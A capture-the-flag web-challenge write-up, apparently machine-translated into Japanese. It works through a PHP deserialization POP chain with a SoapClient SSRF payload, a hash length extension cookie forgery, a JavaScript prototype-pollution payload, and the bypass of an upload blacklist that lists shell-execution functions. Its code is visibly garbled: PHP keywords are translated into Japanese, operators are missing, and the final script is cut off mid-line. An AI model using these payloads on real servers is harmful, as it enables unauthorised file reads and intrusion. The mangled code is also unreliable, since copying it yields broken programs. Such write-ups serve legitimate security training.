babyphp
index.php:
?php
//flag.phpの何か
クラスA
{
public $ a;
public $ b;
パブリック機能__wakeup()
{
$ this-a='babyhacker';
}
パブリック機能__invoke()
{
if(isset($ this-a)$ this-a==md5($ this-a)){
$ this-b-uwant();
}
}
}
クラスb
{
public $ a;
public $ b;
public $ k;
function __destruct()
{
$ this-b=$ this-k;
die($ this-a);
}
}
クラスc
{
public $ a;
public $ c;
パブリック機能__toString()
{
$ cc=$ this-c;
$ cc()を返します。
}
パブリック関数uwant()
{
if($ this-a=='phpinfo'){
phpinfo();
} それ以外{
call_user_func(array(reset($ _ session)、$ this-a));
}
}
}
if(isset($ _ get ['d0g3'])){
ini_set($ _ get ['baby']、$ _get ['d0g3']);
session_start();
$ _SESSION ['SESS']=$ _POST ['SESS'];
}
それ以外{
session_start();
if(isset($ _ post ['pop'])){
Unserialize($ _ post ['pop']);
}
}
var_dump($ _ session);
highlight_file(__ file__);
flag.php:
?php
session_start();
highlight_file(__ file__);
//ルートディレクトリのフラグ
if($ _ server ['remote_addr']==='127.0.0.1'){
$ f1ag=inprode(array(new $ _get ['a']($ _ get ['b'])));
$ _Session ['f1ag']=$ f1ag;
}それ以外{
echo 'only localhost !';
}
ポップチェーンを構築することで、SESSION.SERIALIZE_HANDLERがPHPであり、flag.phpのソースコードと組み合わされていることがわかります。SSRFを実行するためにセッションがSOAPCLIENTを希望すると推測されます。
アイデアは、最初にini_setのパラメーターを制御して、serialize_handlerをphp_serializeとして指定し、パラメーターsessをsoapclientの脱isizationのペイロードとして渡し、すべてのポストパラメーターを取得し、ページに1回アクセスして脱izerializationをトリガーすることです。最後に、既知のポップチェーンを使用して、soapclient __callメソッドを呼び出してssrfをトリガーします
SSRFはまず、PHPのネイティブクラスGlobiteratorを使用して、ルートディレクトリ内のFから始まるファイルを見つけ、次にSplFileObjectを使用してフラグを読み取ります。
ポップチェーンPayload:
?php
クラスA
{
public $ a;
public $ b;
}
クラスb
{
}
クラスc
{
public $ a;
public $ c;
}
$ cc=new C();
$ cc-a='xxxx';
$ a=new a();
$ a-a='0E215962017';
$ a-b=$ cc;
$ c=new C();
$ c-c=$ a;
$ b=new b();
$ b-a=$ c;
Echo Serialize($ b);
SSRF Payload:
?php
//$ a=new soapclient(null、array( 'location'='http://127.0.1/flag.php?a=globiteratorb=/f*'、 'user_agent'='='='=' 'テスト'));
$ a=new SoapClient(null、array( 'location'='http://127.0.1/flag.php?a=splfileobjectb=/f111111lllllllllaagg'、 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4k4kp5jl36mml4qfp5jl36M 'uri'='test'));
$ b=serialize($ a);
echo '|' .urlencode($ b);
最初にGlobiteratorを使用します
splfileobjectを再利用します
ez_js
ログインインターフェイスとアカウントのパスワードを自由に入力すると、 /cookieルートにジャンプし、右クリックしてjsfuck復号化プロンプトをコメントします。
ホームページを右クリックして、次のようにコメントします:
! - この秘密はセキュリティのために7文字の長いです!
Hash=Md5(Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A
管理者クッキーはですMD5(Secret+UrldeCode( 'フラグ%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
-
1目のハッシュ長拡張攻撃
Cookie Hashを直接変更し、役に立たないことがわかりました。その後、ユーザーIDは空になり、エラーが発生しました
以前のヒントと組み合わせて、JS :の上限と小文字の機能を使用します
'ı'.touppercase()==' i '//true
次に、 /infoflllllagにジャンプします(静的環境は30分ごとにリセットされるため、前の写真がキャプチャされます)
var Express=require( 'Express');
var router=express.router();
const isobject=obj=obj obj.constructor obj.constructor===object;
const merge=(a、b)={
for(b in bのvar attr){
if(isobject(a attr])isobject(b [attr])){
マージ([attr]、b [attr]);
} それ以外{
a [attr]=b [attr];
}
}
aを返します
}
const clone=(a)={
MERGE({}、a)を返します。
}
router.get( '/'、function(req、res、next){
if(req.flag=='flag'){
//出力フラグ;
res.send( 'flag ???');
}
Res.Render( 'Info');
});
router.post( '/'、express.json()、function(req、res){
var str=req.body.id;
var obj=json.parse(str);
req.cookies.id=clone(obj);
Res.Render( 'Info');
});
module.exports=router;
REQのフラグ属性をプロトタイプチェーンを介して汚染する必要があることは明らかです。ペイロードは次のとおりです
id={'__ proto __' :+{'flag':+' flag '}}
次に、旗にアクセスします
静的ターゲットマシンのスクリーンショット
ezupload
最初にphpinfoをアップロードします
php 8.0.1、disable_functionsはバンチをフィルタリングしますが、file_get_contents()が利用可能であり、質問のソースコードはそれを読みます
HTML
体
form method='post' enctype='multipart/form-data'
このフロントエンドは美しくありません!
入力型='ファイル' name='upload_file' /
入力タイプ='送信' name='送信'値='送信' /
/形状
/体
/HTML
?php
function waf($ var): bool {
$ blacklist=['\ $ _'、 'eval'、 'copy'、 'assert'、 'usort'、 'include'、 'require'、 '$'、 '^'、 '〜'、 ' - '、 '%'、 '*'、 'file'、 'fopen'、 'fwriter'、 'fput'、 'copy'、 'curl'、fread '、' fget '、' function_exists '、' dl '、' putenv '、' system '、' exec '、' shell_exec '、' passthru '、' proc_open '、' proc_close '、' proc_close '、 'proc_get_status'、 'checkdnsrr'、 'getmxrr'、 'getservbyname'、 'getservbyport'、 'syslog'、 'popen'、 'show_source'、 'highlight_file'、 '``、' chmod '];
foreach($ blacklist as $ blackword){
if(strstr($ var、$ blackword))trueを返します。
}
falseを返します。
}
error_reporting(0);
//Directoryのアップロードを設定します
定義( 'upload_path'、 './uploads');
$ msg='アップロード成功!';
if(isset($ _ post ['submit'])){
$ temp_file=$ _files ['upload_file'] ['tmp_name'];
$ file_name=$ _files ['upload_file'] ['name'];
$ ext=pathinfo($ file_name、pathinfo_extension);
if(!preg_match( '/php/i'、strtolower($ ext))){
die( '私は写真が欲しくない、xiong da');
}
$ content=file_get_contents($ temp_file);
if(waf($ content)){
die( 'ああ、あなたは何をしているの、小さなheizi .');
}
$ new_file_name=md5($ file_name)。 '。'。$ ext;
$ img_path=upload_path。 '/'。 $ new_file_name;
if(move_uploaded_file($ temp_file、$ img_path)){
$ is_upload=true;
} それ以外{
$ msg='アップロード障害!';
die();
}
echo $ msg。 ' '。$ img_path;
ビット操作|フィルタリングされていません。ここで、|を取ります例として、Globiteratorを使用してフラグを見つけます
Reをインポートします
preg='\*'
def converttourl(s):
S 16:の場合
return '%0' + str(hex(s).replace( '0x'、 ''))
else:
return '%' + str(hex(s).r
Recommended Comments